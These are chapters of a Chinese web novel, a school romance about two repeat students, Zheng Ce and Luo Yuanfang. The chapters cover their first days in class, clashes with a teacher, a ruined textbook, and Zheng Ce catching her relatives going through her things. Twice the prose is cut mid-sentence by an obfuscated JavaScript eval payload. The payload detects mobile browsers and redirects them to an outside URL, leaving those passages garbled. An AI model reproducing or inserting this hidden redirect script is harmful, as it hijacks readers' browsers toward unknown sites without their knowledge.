安城北冲到教室前门踉跄了下,习惯性昂首挺胸抬手敬了个少先队队礼。 骆远方嫌弃地退后一步。 这是被何仙姑调教成什么友爱的样子了。 而安城北这声震耳欲聋的报告,恰好打破了教室里所有人看见郑策草书后的沉默。 “我日了鬼了,这写的什么?” 安城北也一脸惊恐看着黑板,又看了眼柯言。 “今天学甲骨文?” 教室里猛然间爆发一阵大笑。 “滚进去。”柯言冷脸用眼神帮他指路。 安城北往后走着,跨越了两层堡垒又忽然回头。 “老师我,这学期不用坐讲台边的雅座了吧?” 柯言看着他:“你想坐,我还想多活几年!不想被你气死。劳烦您就在藏人堆里好吧。” “得嘞!” 他一抱拳,再转身,差点被书绊倒。 为了稳住平衡,安城北几个俯冲连续跨栏,一气儿冲到了最后排。 吻上教室后方黑板。 柯言给他竖了根大拇指。 “骆远方进来,等着做自我介绍。” 同学们这才发现教室外面还站着一帅哥。 不少人惊喜地挑了挑眉毛。 但在看清是骆远方后,立马换成老实脸。 这人不能惹。 骆远方的棉衣只穿了一只袖子,露出的一只手被绷带包成粽子。 而这帅哥的脸和黑色棉服一样阴沉,锁骨和脖子上还贴着一块膏药。 一进门,药香浓郁。 柯言也被吓着了,“你怎么,更严重了?” 他这一身伤配合脸上不屑的表情,一看就是自己惹出来的。 普通班老师哪儿见过这样的阵仗。 还好柯言也不太正常。 见骆远方不想回答,她无奈继续朝郑策抬抬下巴,“你继续。” “大家好,如果能看懂,我的名字叫郑策。” 郑策感觉马上要打喷嚏,一脸不耐烦迅速说道。 “报道前刚从警察局出来,以后多关照。” 教室里响起一声唏嘘和“呜”,跟坐了一屋子绿皮火车似的。 “骆远方。” 骆远方紧跟着在郑策名字下面,写下堪比字帖的三个字。 行云流水,笔走龙蛇,遒劲有力。 “跟她一起出来的,请多关照。” 这会儿倒没有起哄声了。 因为骆帅哥脸色不太好看,像是会打人。 而且他身上的伤似乎是对他话的印证,更没人敢出声了。 但是,教室里寂静一片的时候,最怕有什么异响。 比如“噗”的一声屁响。 而整个过程又太过漫长,以及放屁的人小心制止此次事故,导致声响逐渐变得微小而尖锐,甚至于断断续续的。 打出了节奏感。 这谨小慎微唯唯诺诺的屁声,让柯言也没忍住,一声噗嗤后瞬间转化为滔天的哄堂大笑。 “这屁放得怎么这么伤感又憋屈呢!”安城北笑得眼泪都快出来了。 剑拔弩张又莫名其妙的气氛在瞬间缓和下去。 感谢屁君。 骆远方顾自走下讲台,长腿在一个个书堡之间迈得自如。 他看了下教室的布局,果然没有同桌。 但他和郑策的桌子间就空了一摞书的位置。 现在还空空荡荡无遮无拦的! “哟,冤家路窄。” 骆远方用脚把椅子勾开,双手没离兜,懒散地靠着椅背坐下去。 “你谁?”郑策头也不抬就抬杠。 “我谁?” 自作多情的安城北气不打一处来,转头看她,“我被你拿刀架在脖子上。我谁?” “我没架你脖子上。”郑策也往后一靠,看着他。 安城北瞬间有种被两个大佬审问的错觉,但他还是坚强地一拍桌子。 “安城北!皮痒了是吧?” 柯言河东狮吼的嗓门配上小蜜蜂加持,气势非常感人。 甚至能察觉到隔壁班讲课声都停顿了下。 “这么爱说话,把小蜜蜂给你带着,我们都听听?” 她皱了皱眉,又看向骆远方:“骆远方你个老油条欺负新同学了?” 骆远方惊诧抬头看她,又无辜地转过去看郑策,顿时吓了一跳。 郑策因为靠近窗户,风大灰大,连打了几个喷嚏又揉了下眼睛。 这时候双眼通红,呼吸间甚至都能听到她的鼻音。 这是什么奥斯卡演技? “老师,我没事,您继续。” 奥斯卡得主用沉闷的鼻音宽宏大量地朝柯言说。 “嗯。那我先聊聊假期作业。” 柯言调整情绪,技巧性十分强地停顿了差不多一分钟。 期间将每个敢于和她对视的人都给看得心虚了,才一脸了如指掌地嘁了声。 “齐深,作业拿出来看看。” 这一点名,班级紧张氛围瞬间达到高潮。 被叫齐深的男孩假模假样在书包里翻找了下,演技也是过硬,半晌才犹豫道:“老师,我好像没带……” “你是学委吗你!没带?没写还是没带?” 在接下来柯言暴虐九班的时间里,最后排两位复读生无所事事。 郑策又连打了几个喷嚏后,实在受不了,从包里倒出一堆药,就着水一口就要吃进去。 “卧槽,你干嘛!” 安城北眼神时刻关注敌方动态,此时惊慌地压低声音问。 骆远方也半撩起眼皮朝她看过来。 她顿了顿,声音越小越显得鼻音浓重,“你说什么?鼻炎犯了,耳膜难受,听不太清。” “嗐,我以为你受不了打击,要报复社会,在班里自杀呢。”安城北郑重地呼出一口气。 “不至于。” 郑策笑了笑,将一张纸平铺在桌上,把药放上去,一颗一颗就着水灌下。 相当精致,相当优雅。 喝足两杯水再转头,两位小兄弟还满脸疑惑地看着自己。 她不得不解释了句:“两颗以上我就咽不下去。” 安城北痛心疾首地转身:“得,两杯水,药性都稀释完了。” 还上着课,骆远方也没找着机会问郑策,百无聊赖数着前桌安城北的头发丝儿。 听到柯言在讲台上宣布寒假作业迟一周交的时候,全班响起欢呼声。 而他却更烦躁了,本来确实写不完,今天挨一顿骂就过了。 现在又多出一周时间,再写不完就没借口了。 操。 柯言继续哄着这群傻子,说收手机反正他们也会偷偷藏起来,玩得更带劲,不如不收。但是,被抓住当一个月值日生。 又是一阵欢呼。 操。 果然是大城市人才引进的老狐狸,明退暗进啊。 骆远方摸到兜里的纸,是今天出门时刚从门上撕下来的。 掏出来看也没看,一把撕成两片,叠一起继续往小了撕。 郑策也无聊,旁边这位哥发泄似的撕纸让她有些在意。 转过头去时,只隐约看见“欠债”“地义”。 她怔了瞬。 “看什么?” 骆远方的声音在旁边冰冰凉传来。 “看你。你帅。” 郑策又去看他。 这才发现他左侧鼻梁偏上位置有颗小痣。 眼睛是深邃的,被这颗痣一衬,更有了异域的妩媚凌厉。 而这位爷手掌关节处缠着绷带,将四根手指包裹在一起,看着攻击性很强。 每根手指指甲上还带裹着一片创可贴。左手手腕上将一串木质佛珠折成四圈戴着。 这装饰算是她见过的最复杂的了。 妖精。 郑策不屑。 这样满手鲜血的人还信佛,有些荒唐。 “有纸吗?”郑策依旧挑衅地看着他。 骆远方看她一眼,没说话,丢过去一包纸巾。 “谢谢。” 郑策皱着眉掏出一张纸擤了擤鼻涕,然后卷着两张纸塞进鼻孔里,说道: “你有灰指甲吗?裹这么严实。” …… 又是胆结石,又是灰指甲,你姐妹俩健康大使啊! 前桌安城北非常不给面子,笑得发抖。骆远方给了他椅子一脚。 骆远方手指微不可察蜷了蜷。嘴里硬硬蹦出两个字: “少管。” 郑策看他一眼,没再说话。 九中的桌椅都是塑料的,蓝色,边缘不像木质桌角尖锐。椅子还贴心地仿照屁股形状做了两个凹陷。 但这屁股形状并不是人人通用啊。 关键还很重,不方便挪动。 郑策一整节课如坐针毡。 但是好容易等柯言做完收心动员,门外那个肌肉男老师又出现了。 “谁是新来的郑策?”他在窗口边问。 “我。”郑策没动,看着他。 “出来一下。” 这位吴老师头偏了偏,转身在走廊上站着,背对教室。 “老师有什么事吗?”郑策走出去问。 “我教物理的,听说你物理不错,基础还在吗?” “忘得差不多了。” 这是实话。 吴老师原本准备了一兜台词让她谦虚谨慎,打牢基础云云,这下好了,全部用不上。 “那你厉害啊。” “一般吧。” 郑策看出来这老师对自己有股莫名其妙的敌意,也不打算礼貌回应了。 “我告诉你,成绩好,不要以为自己就无所不能了,还不是回来复读,就得埋着头做人。” 老吴硬着头皮把肚子里的草稿念出来。 郑策皱了皱眉,毫不避讳看着他,声音也没降下去。 “老师我第一天来,不认识你,不记得得罪过你。我也从来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812340|175302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没说过自己成绩好,一直都是你们在说。还有,我早知道这个世界不看成绩,这些都算个屁。” 她一口气说完,气场稳定,扭头就走。回头撞上安城北惊恐的眼神,抿了抿唇换方向走向厕所。 “莫名其妙。” 安城北只楞了零点一秒,转身回教室就把经过添油加醋讲了出来。 “我靠,直接和老吴对呛,你们没看见老吴那黑脸都给憋红了。” “她去哪儿了?”林歌站起来。 安城北无所谓地往后指了指,“厕所。” 林歌出门的时候,又撞见英语沙老师语重心长地跟吴老师说什么。 她就听见“不要有偏见,不要说脏话”之类的。 径直走向厕所,在洗手池边果然看见了郑策,林歌把手里的水杯递给她,“走一起接水去。” “你专门来厕所找我去教室接水?”郑策问。 “我听说你跟吴老师吵架了。” 林歌拉过郑策小声道。 “过来提醒你别惹这个吴老师,他什么事都干得出来。之前听说还跟学生打架呢,拿着板擦就往头上招呼,好像是因为关系户,才没被开除。” “你哪儿听说的?” 虽然这个吴老师有些奇怪,但出发点似乎也是为了震慑她,不至于找她干仗吧。 “这你就别管了,都这么说。” 郑策想到什么,也小声揽过她问:“那你知道叫骆远方那人是什么情况么?” “嗐当然知道,他也少招惹。” 林歌一脸严肃,让郑策有些想笑。 “他之前听说因为谈恋爱和情敌打架,差点被开除!后来又和女朋友打了一架。再之后就休学半年,现在降级在我们班了。” 郑策有些哭笑不得,“这都什么逻辑。” “逻辑不管真假,有这种传言,肯定不是空穴来风,总之慎重点。” 林歌挑眉道:“我就只讲感觉不重证据,感觉让我少惹他们,你也是。” “好的船长。”郑策笑道。 这个林歌性格还挺好,她刚到这里,就对自己处处照顾着。 郑策很领她的情。 “好什么好?”骆远方瞪着安城北,“你再多说一句,我把你打墙上,扣都扣不下来。” “不是,您平时都不正眼看人的。” 安城北冒着变成相纸的危险解释,“对这个郑策是不是太好了?你就说是不是!” 他忽然眼里闪过一丝光,“你们是不是早就认识?” 骆远方不知所措了一刹那,很快恢复状态。 “是个鬼。”他从书包里拿出一排酸奶。 “我心这么善良,对谁都好,专门给你买的酸奶,润肠通便,我好吧?” “您小点声。” 安城北男人的面子忽然带上了,小声道:“但骆哥你也真是贴心,我都不打算管了,你还记着。” “嗯。”骆远方把酸奶塞进他怀里,让他赶紧滚。 “自己买的时候选买蛋白质超过2.9克的,碳水化合物含量5克左右的通常是没添加糖的,记着。” “记住了,妈妈。” 骆远方往他凳子上踢了一脚。 这家伙不退反进,扭过来抛了个媚眼,还朝他比心,“爱你,哥。” 骆远方选择不再招惹这玩意儿。 你为什么对郑策这么好? 安城北挑破之前,他根本没察觉有什么不同。 但是自从知道郑策家里的事,他每次看见她都会想起小时候,去她家里看见的叔叔阿姨。 郑策妈妈身体不好,但她爸妈两人都很和蔼。对郑策虽然严厉,但从不责骂。 有一回郑策没考好,不敢回家,恰好看见他又和人打架了,兴奋地跑过去问他,能不能说自己救了他,带他回家上药。 骆远方当然乐意至极。 后来去的次数多了,郑策妈妈把她支开时,对自己说的话他也一直都记得。 “是怕她挨骂才来的吧?” 她看着骆远方的时候,眼睛里都是笑意。 “以后会不会嫌弃有这么个多病的丈母娘啊?小策以后还得多加关照,麻烦你了。” 小小年纪还不懂什么,但他记得自己郑重地点了头。 虽然后来也没麻烦成。 因为她们搬家去了大城市。那里有更多的工作机会,也有更好的医疗资源,帮郑策妈妈看病。 是因为小时候的一句承诺么? 所以才会不经意多照顾几分。 会看不惯她故作无所事事,把自己打扮得与这里格格不入。 会气愤她受了委屈不懂得为自己争取。 这是什么感觉,骆远方一时也说不上来。 有点憋屈。 郑策回座位时,他也没理,对着桌子发呆。 直到门口传来小蜜蜂熟悉的“开机——”机械女声。 “OK,挠,classbegin!” 沙老头操着口音里夹杂的英语,从门口笑眯眯走进教室。 同样的声如洪钟,整个教室就他们俩还没习惯。 于是,郑策手里转的笔吓得飞了出去。 她弯腰去捡,再抬头时,没注意撞上了桌角。 闷响一声。 诶,果然塑料的桌子没木质的撞着疼。 郑策好奇地保持着弯腰俯身的姿势,转头去看这桌子的结构。 就看见一只手贴在桌边,挡在她的头和桌角间。 顺着这只胳膊望过去,先是那串佛珠,再是骆远方那张冻死人不偿命的脸。 骆远方撇过头去。 反应太快,又顺手了。 啧。 把你能的。 12. 放学去找你,听话 “哪两位是新来的?举个手letmeseesee。” 郑策和骆远方来不及客套,一脸严肃在最后排乖巧举手。 “哟帅哥和美女。骆远方和郑策是吧?” 沙老头转身掰断一截粉笔,在黑板上写他的名字,“mynameisLeo,大家一般叫我雷奥老师,或者老雷。” 还,真挺独特的。 雷奥闹,不如叫老闹吧…… 老雷没有等他们回答的意思,皱着眉看了眼讲台正上方一盏忘开了的灯管,指了指门边的同学。 “开下灯,thankyou.” 也不知道哪个手欠的在灯的开关边黏了个便利贴,写着三个大字:给我按! 像是开个灯能把学校给开穷了似的。 老头满意地感受到LED灯普照在他大光明顶上。 先是大胆开麦讽刺校领导,吐槽学校厕所,饮水机等基础设施太差。 后面又扯到他教研组组长是怎么千辛万苦来的,再然后聊到寒假新出的美剧,让大家可以多看看练习听力。 每科的开学第一节课一般是这学期最轻松的一节,轻松得郑策逐渐沉醉在熹微日光里。 昏昏欲睡。 “你是不是偷吃什么东西了?”旁边的冰山忽然问她。 骆远方每次遇见郑策都能闻到一股奶香,平时不觉得,今天在教室闲得饿了,闻着格外不爽。 郑策偏过头看了他三秒。 从抽屉里掏出鼻炎药,“吃么?” “吃。” 前面的安城北头都没转,向后一靠,左手反着从桌下面伸了过来。 “……” 郑策沉默两秒,把药取出来,空盒子递了过去。 “谢了。” 安城北眼睛仍旧双目无神,铜铃般地瞪着黑板,把盒子拿到面前才低低骂了声。 “卧槽,你俩耍我呢。” “你不是健胃消食片都当零食吃么?”骆远方微勾起唇角。 “那是消食片,这是鼻炎药,我他妈不是傻?!” “Anyvolunteer?”老雷忽然在讲台上问了句。 此话一出,堪比武林最高秘籍出世,震慑江湖。 全班战略性装死。 “那就,城北……后面的远方同学,你来吧。” 这老师说话带着年代感分外重的分寸和礼貌,抑扬顿挫,骆远方听见郑策闷声笑了下。 而前面的城北同学以为开小差被逮了个正着,一扭头咬着舌头,操了声捂着嘴做沉思状。 郑策本以为要看伪同桌出丑了,结果骆远方盯着着黑板上的英文直接念了一遍:“lovelovestolovelove.” 他声音很好听,发音也很醇厚,甚至有英国绅士的味道。又带着薄荷叶的清爽。 但这绕口令的一句还是让郑策不禁抬起宝贵的头颅。 什么鬼? “爱是沉醉于喜欢本身。” 骆远方如人机一样念了个狗屁不通的话,乍一听还挺有哲学那味儿。 “不错,发音很好,之前有过国外的经历吗?” 老雷有些惊喜地看着他。 “说说你怎么翻的。” “没有经历。” 骆远方不但不惊喜,还很不耐烦。 “这就跟roseisaroseisaroseisarose.一个道理,玩文字游戏而已。” 肉什么? 安城北转头张大嘴巴看他。 有本事再说一遍,我打赌两遍不一样! 趁着班里人还没反应过来,骆远方迅速在老雷赞许的眼光中坐下。 这样的关注让他有些不习惯。 “OK,now,followme……” 老雷拍了拍黑板继续讲课。 “卧槽,哥们儿还是牛逼。” 安城北转身不放过任何可能的开小差机会,夸张道。 “没想到半年时间都没把你英语给荒废喽。” “安城北同学,我现在把你废喽你信不信?” “信!”安城北坐得笔直,“老师我信!” 骆远方笑着去翻书,却发现自己同桌丝毫没被影响,忙碌于生产线上不可自拔。 只见郑策先在新书首页写上自己名字,思考了阵,又在书侧面画上自己大名。 后来发现写在底部才能最方便从抽屉里选中。 又一通写,翻来覆去,跟练签名一样,洋洋洒洒写了几大本书。 郑策其实挺喜欢新书的油墨味儿,一切知识都未知的感觉。 直到写完最后一本书,发现写了两遍语文,才猛然抬头,撞上骆远方说不清道不明的目光。 “谢谢哦。”骆远方看着她手里自己的语文书。 “我可以补救,稍等。” 郑策从笔袋里掏出透明胶布,黏在字上,潇洒一撕。 哗啦一声,书页一分为二,Tom和Amy头身分家。 嘶。 她眼疾手快又把胶布黏了回去。 在惊恐之余回头,骆远方依旧面无表情看着她。 “不要急!抱歉。” 郑策还是尽在掌握中的表情,对他点点头。 紧接着骆远方就听见隔壁桌撕胶带跟装修似的声音,此起彼伏。 不一会儿,一本透明胶包裹成硬塑料壳的语文书递给他面前。 而郑策两个大字仍旧非常醒目,还反着光。 “卧槽。”他感叹这人动手能力还挺强。 “要不你用我的吧,我的没坏,只是写了名字。” 郑策并不介意这些细节,把自己语文书掏出来,划掉名字,熟练地写上骆远方三个字。 骆远方挑眉看她。 过于丝滑了啊姐们儿。 “我也没说什么。” 骆远方防止待会儿这本书也小命不保,连忙拿过来。 “我的书一个月后差不多也成活页本了。” “那你不早说?”郑策有些震惊。 “我让你撕胶布的?我让你补成硬壳纸的?” “……” “哎哟,你俩这动静至于吗,骆哥要和我换吗?” 安城北悄声问,“什么书?我几本都没记过笔记,八成新,以假乱真那种新。” “算了。” 骆远方翻开语文书,在郑策名字上用马克笔写上三倍大的骆远方。 示威一般。 写完忽然一阵恍惚,好像又回到小学,他们俩的名字总是挨在一块儿的时候。 旁边这位签售结束就忽然安静下来。 骆远方再回过头去,郑策桌面上空空如也,他忍不住又问:“你没英语书?” “嗯?” 郑策看他一眼,“只剩一本,我先给你了,我后面再拿没问题。” 还挺义气。 骆远方把英语书往桌侧一挪,“一起看吧。” 郑策看了他一眼,点点头。 因为两张桌子没有挨着,这书的距离离郑策还是太远。 她整个身子都倾了过来。 骆远方还得时刻担心万一滑倒,要不要接住她。 他深吸一口气,将书扔到她桌上,“你帮我记笔记吧,困了。” 太久没听课,上课铃响起的第一秒其实骆远方就感觉自己中沉睡魔咒了。 但在趴在桌上闭眼前,忽然看见郑策认真地记了两笔鬼画符后,他差点闭不上眼。 算了。 由着她吧。 眼睛一闭一睁,一节课就飞也似地过去。 骆远方还趴在桌上,望向走廊那边的窗外。 课间操前几分钟,此时走廊里聚集了一群来路不明的热心学生在进行意图不明的作法迷信活动。 以安城北为首,四十五度角仰望上苍,双手合十,求老天下雨或者求萧敬腾来本地开演唱会。 雨没求来,但一阵狂风刮过,云层散开。 太阳公公被这群逼召唤出来了。 课间操都变得炙热起来。 众人在音乐响起的时候,只得心灰意冷下楼。 高一高二的教学楼沿着山脚建了一溜。九班在铭志楼。同样暗红色砖墙,天蓝色栏杆,配色十分温暖。 在挑廊里能看直接眺望到操场,跑道边几个红色正楷大字: 野蛮其体魄,文明其精神。 柯言原本发了课间操教学视频给两位新同学,但两人都十分坦然地没看,说得跟着活人学才记得快。 于是柯言:“活人?那安城北带一下吧。” 安城北:……谢谢夸奖。 于是活人安城北今天不仅要拖着沉重的身躯去跳九中原创兔子舞,还承担教导郑策和骆远方的重任。 走之前骆远方特意又问了下,他皮燕子还能承受得住高强度跳跃动作吧? 安城北瞪他一眼没说话。 课间操半小时,一群僵尸挤挤攘攘下楼,又推推搡搡上楼,一到教室就跟打开了睡眠开关一样,抢着去见周公。 但如果有人在打铃之前打开一包三加二,还是会跟白蚁过境一般,三秒内席卷而空。 第三节课是柯言以语文老师身份来教室的第一节语文课。 进门就甩了一套卷子在门边同学的脸上。 守门同学:……敢怒不敢言。 “看你们一个个懒样,先做套题练练手感,清醒一下!” 清醒? 做语文卷子? 开玩笑吧。 郑策有些心疼被甩得一脸懵逼的看门同学。 这位被扇一巴掌都不定能清醒呢。 开学综合症充分表明,不仅上课听不进去,试卷肯定也是做不进去滴。 郑策翻译了两道文言文,就瞪着卷子发神。 脑子跟生锈了一样,齿轮根本运转不起来。每个字都认识,连在一起一句话也读不懂。 直到讲台上柯言提醒最后十五分钟,她才猛然清醒。 然后在企图四处借鉴答案的安城北惊恐的眼神中,用十五分钟干满了八百字的作文。 这个速度是三年高考应试化训练,到现在唯一剩下的肌肉记忆了。 笔走龙蛇,表情严肃,不带停顿。 “卧槽,这还是人嘛?果然是学霸啊。” 安城北感叹了句她这堪比火箭发射的速度。 收完卷子,充实又忙碌的一早上过去,安城北忽然生无可恋地发现: 才过了半天。 “下午去打球。” 骆远方眼神也快失去锋芒,直直地看着课桌上的纹路。 “不上课了?”安城北问。 “柯言讲卷子,你要能听懂你就上。” 安城北回忆了下语文卷子独领风骚的风格: A没有问题,B不太符合,C有一点不对,所以选D最合适。 他果断回道:“打球。” 说实话,骆远方是真想认真学习。 可旁边坐了个不认真上课,要么擤鼻涕,要么搞签售的学霸。 前面又有个安城北皮燕子不舒服扭来扭去考验干部耐心。 他是真学不进去。 一下午过去,在球场上休息的时候,一阵风刮来,刚出的一身汗瞬间冷却,提神醒脑。 “骆哥,你这寸头是不是不抗冻啊?”安城北拿起一瓶水。 “我看着都冷。” “那你别看。”骆远方说。 手机震动了下,打开竟然是郑策的消息。 放屁优雅的女子:【下午厕所堵了。用拖布救急的时候,有人不小心把你书撞倒了。】 紧跟着是一张照片,里面是他那本沦陷的语文书。 胶布包装在闪闪发光,内页都泡卷曲了。颜色深了一个度,跟刚军训回来似的。 那个农民一脸悲愤:【这是掉厕所里了吧?】 事情发生的突然。 楼上有人想不开把练习册撕碎了往厕所扔,堵住了下水道。 紧接着水漫金山,米田共和童子尿淹没楼上厕所,再渗透他们这层的天花板,两层楼跟着遭了灾。 情急之下,离厕所近的几个班纷纷贡献出自家班级拖布堵在厕所门边。防止毒水四散。 九班劳动委员救灾过程走得急,不小心撞上骆远方课桌。 而正巧,那本贴满透明胶的语文书,因为做工不良,胶面反转,粘在他身上。 一同去了前线救灾。 甚至还以身殉国。 好在据劳动委员说只是落在拖布池里,没粘上不该粘的东西。 众人拿这本书没办法。 柯言也摸不准骆远方的脾气,这小子翘课了根本不会接她电话。 问了一圈,竟没一个人有他的联系方式。 郑策于是认命地发送了他们俩聊天框内第一句主动搭讪。 她还没想好怎么回复,骆远方电话就打了进来。 狗日的还知道从微信号找到她手机号。 “喂。” “别放我桌上,扔了吧。” 骆远方刚运动完,气息还有些喘,刻意压低的声音带着很明显的颗粒感。 “柯老师说没新书了,我给你弄干净了已经。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812341|175302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郑策趁乱在最后一排打电话,也小声道。 有种隐秘在人群的刺激感。 她看了眼桌上被自己随便擦了下封皮就摊开的书。 确实没什么怪味儿,就是落进了拖布池里而已。 “那送你了,你留着吧。” 骆远方看着远处有个半大点儿的孩子抱着篮球跑来跑去,忽然发现自己心情竟然并没有很糟。 “给你放桌上了,爱要不要。” 郑策不想和他纠缠,就要挂电话。如果真丢了,没书最后又怪她怎么办。 “就这样。” “哎!” 骆远方忽然加大音量。 旁边一脸八卦的安城北听这一嗓子,眉毛嘴巴都快旋转跳跃飞起来了。 骆远方转过头去,小声又急切道:“别这样,我洁癖,丢了吧。” 郑策想着骆远方绷着脸又无可奈何的样子有些想笑。 她捂着手机听筒,笑着挑衅:“那你求我。” “我求你。”骆远方回答得相当顺滑。 郑策瞬间挂了电话,嘴巴都笑得合不上。 屏幕上冒出一排提示: 一条通话录音已完成,请点击查看。 “操。”骆远方皱着眉听见手机里一串忙音。 他被挂电话了! 沉默了会儿,骆远方眉头忽然皱得更厉害。 “什么味道,这儿也水漫金山了?” “不是。” 安城北有些尴尬。 “我乳糖不耐受,今儿奶喝多了,屁多。” 骆远方不可置信看了他一眼,往旁边悲痛欲绝移了两步。 “我何必呢我。” “我靠,幸好翘课了,今天下午他们上不了课吧。” 安城北在学校论坛里实时跟进新闻,笑着说。 “诶,今天已经被封为富乐九中淹屎之乱,记入史册了都!” “反正都快放学了,差这几分钟?” 骆远方忽然想起什么,一个电话又拨了出去。 郑策收到来电显示时,正收拾好了书包准备离开。 她心虚地看了眼还放在骆远方桌上的语文书。 “喂?”她接起电话。 电话那头还有救灾群众哭天抢地地呐喊:“oh,shit,我的鞋!” “有事不能发消息么?” 郑策小声问。 虽然人人都有手机,但她这样明目张胆接电话,总还是有些心虚。 她话里的气声儿贴着耳根穿过来,像是在耳边说悄悄话。 骆远脖子上有种麻酥酥的错觉。 球场旁边有个卖巴掌大小书的旧书摊,皮儿都包浆了的小书带着特有年代感的封面在风里岿然不动。 莫名有种遇见故人旧事的踏实感。 “这样效率高。你,还没出教室吧?” 骆远方问,“我待会儿去找你一趟,帮我拿一下抽屉里的磁带盒,别打开看啊。” “我不呢?” 郑策对于这个前两天刚教训过自己的人,现在竟然支使上自己有些不满。 “您灰指甲是拿不了重物么?” 安城北又开始哆嗦,骆远方抬脚,他侧身躲开。 他今天的面子算全折在郑策这儿了。 “何必呢。”骆远方顺嘴就道,“听话。” 他这两个字精准且沉重地打击了电话两头的三个人。 郑策伸手拿磁带的动作滞住片刻。 “……路烂容易摔,走路看着点路,别打电话了,再见。” 骆远方一时也无解,慌乱挂断前又交代了句:“待会儿就来,谢谢。” 挂了电话,安城北意料之中用一脸“你屎到临头”的表情盯着他。 他叹了口气,“想问问,别一副便秘的模样。” 安城北一脸意味深长,捏着嗓子道:“你好温柔啊骆远方,人家都快被你甜到了诶。” “走了。” 如果不是知道自己一直丧着个脸,骆远方怀疑安城北吃错毒蘑菇了。 “错了错了错了错了……” 安城北把他拉回来。 “你俩怪怪的啊!认识?还加了微信?什么情况?有情况!” 安城北的音量承递增趋势上扬。 “我家的房子是买的她家的。” 骆远方简单省略重点剧情,直接总结。 “她来抢房子的?” “已经解决了。”骆远方说。 “我靠,还真是。” 安城北心有余悸道。 “给你说,离这种学霸远点,为了学习六亲不认的。Z大都不去,正常人无法理解吧?说不定什么时候你挡她路了,背后捅你一刀。” “……那倒也不至于。” “就冲丫老说你灰指甲,我就跟她过不去!哥们儿永远跟你好,拉钩上吊一百年不许变那种。” 安城北说着贱兮兮地去撕他指甲上的创可贴。 “我来看看骆奶奶包指甲花的手艺。” “滚蛋。” 骆远方笑着说,但没推开他好奇的手。 “骆淇被我气了几回,总得顺着她点。睡着的时候给我包这个能不醒嘛,我也服了这老太太了。” “说是对眼睛好呢!” “待会儿回去,让她给你也来点。” “算了,我直男,包不了这个。”安城北摆手。 “找抽是不是?” 郑策虽不理解,但拿了骆远方的磁带盘也没偷看,揣进书包里就往回走。 中午的时候江蔚云说是被班主任带走体检,量尺寸做校服之类的,应该没这么快到家。 她没钥匙。 所以如果没人在家,她就进不去。 敲了两下门,果然无人回应。 郑策左右看了下,没路人,利索地踩着路边的树杈翻身上墙。 刚稳住,她忽然停滞片刻。 车库的门半开着。 而她和江蔚云一直有随手关门的习惯。 今天属于因特殊原因提前放学,所以,如果有人趁此机会去她们房间,按理说不会被发现。 不管是小偷,还是什么,郑策抄起墙边的铁铲,斜拿着放在身后,迅速将卷帘门拉高。 卷帘门高过头顶的同时,郑策缓缓抬眼。 一览无余的房间内站着宋熙,手里还拿着江蔚云的书包。 于此同时,里面传来宋熙的咕哝,“那么小个金佛,这孩子能藏哪儿呢。” 郑策忽然感觉身上血液都冷却了,怒火哗哗就往上涌。 藏你妈个蛋。 13. 跟着我 安城北在球场上被他妈叫回去吃饭后,骆远方接到了骆淇的电话。 里头声音嘈杂,她想必又占据了一个新的花坛,和一群老太太跟土匪头子一样盘踞着。 “上回让你找那姑娘说的事儿怎么样了,她愿意来吗?” 声音也很土匪。 骆远方没说话。 具体来说是没想好完美的措辞,来遮掩他还没提这件事儿的尴尬。 “我就知道你小子没说,小家子气。”骆淇切了一声。 “我现在就往他们家去呢。” 街头的风有点冷,骆远方把衣领拉高遮住下巴,声音有些郁闷。 “哦,那你记得悄悄问啊。” 骆淇提醒,“别惊动人姨妈一家,以为我们要策反啥的。最后弄得面子上不好看。” “知道了。” 他也不傻,如果人不愿意搬出车库,又被韩忠夏听见了,郑策之后在车库也不好混了。 “怎么突然想起这件事?” “刚有老太太说今天遇见宋熙了,跟她抱怨家里多了张嘴。” 骆淇不爽道,“说的不就是郑策嘛。小姑娘也不容易,我们毕竟占了人家便宜,能帮着点就帮着点吧。” “嗯……” 骆远方刚抬头,就看见前方一个人影从院墙上翻了进去。 紧接着院子里传来男人不大不小的叱骂。 他皱了皱眉,“我先挂了。” 韩忠夏刚才被床帘挡住,此时从帘子后拿了把匕首站出来。 他看着郑策冷笑道: “这是喂了头养不熟的狼在家里啊,枕头下面放着刀防谁呢?” “你们在干什么?” 郑策的声音有些不稳,但她竭力保持冷静。只感觉全身关节发紧,稍微动一下就嘎吱作响。 “打扫自己的房子。干什么?” 韩忠夏不屑地把刀丢回床上,“顺带看看能不能捡着什么宝贝?” 郑策不动声色往墙角的行李箱望过去。虽然关着,但她出于一家人的信任并没设密码。 好在箱子位置没变。 她察觉背后一阵寒意顺着脊柱爬上来。 如果今天没有被她撞见,这样的情况还会发生多少次?那之前这两天呢? 她移回目光,冷笑道:“还有这种好事呢?捡着了么?给我也来点。” “小策,你听姨妈说……”宋熙有些为难。 “捡,虽然没捡到。” 韩忠夏冷脸高声打断她,“但是,不看你这本子,还不知道你怎么蛐蛐我们呢,小白眼狼。” 郑策脸色更沉了沉,声音再无起伏,一字一顿生硬道: “你看我日记。” “翻翻怎么了?又不少块儿肉。” 宋熙小声提醒他,他手一挥反而加大音量: “这是我家,你来了就漏财,我还没找你算账呢!” 郑策盯着他半晌,忽然勾起一边唇角笑了笑。 